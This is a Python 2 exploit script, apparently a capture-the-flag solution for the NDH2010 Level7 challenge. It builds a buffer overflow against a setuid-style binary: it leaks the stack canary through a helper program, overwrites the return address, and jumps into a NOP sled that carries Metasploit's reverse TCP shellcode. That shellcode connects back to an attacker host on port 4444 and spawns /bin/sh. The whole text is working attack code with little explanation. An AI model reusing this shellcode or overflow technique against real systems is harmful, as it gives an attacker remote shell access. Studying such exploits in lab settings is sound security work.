NDH2010 Level7

import commands
from struct import pack
# By Xelenonz Lpx
# linux/x86/shell_reverse_tcp - 71 bytes
# http://www.metasploit.com
# VERBOSE=false, LHOST=x.x.x.x, LPORT=4444,
# ReverseConnectRetries=5, PrependSetresuid=false,
# PrependSetreuid=false, PrependSetuid=false,
# PrependChrootBreak=false, AppendExit=false,
# InitialAutoRunScript=, AutoRunScript=
shell = "\x90"*100000 + "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x68\x7d\x19\x02\xa0\x66\x68\x11\x5c\x66\x53\x6a\x10\x51\x50\x89\xe1\x43\x6a\x66\x58\xcd\x80\x59\x87\xd9\xb0\x3f\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

# shell must export to env first !!
( stat, canary ) = commands.getstatusoutput( "./lv7pwn" )
print "[+] Inject Canary "+canary
eip = pack("<I",0xbfc4cd24)
canary = pack("<I",int("0x"+canary,16))
arg = "JUNK"*16+canary+"\x90"*12+eip
( stat, output ) = commands.getstatusoutput( "/home/level7/level7 "+arg)
print output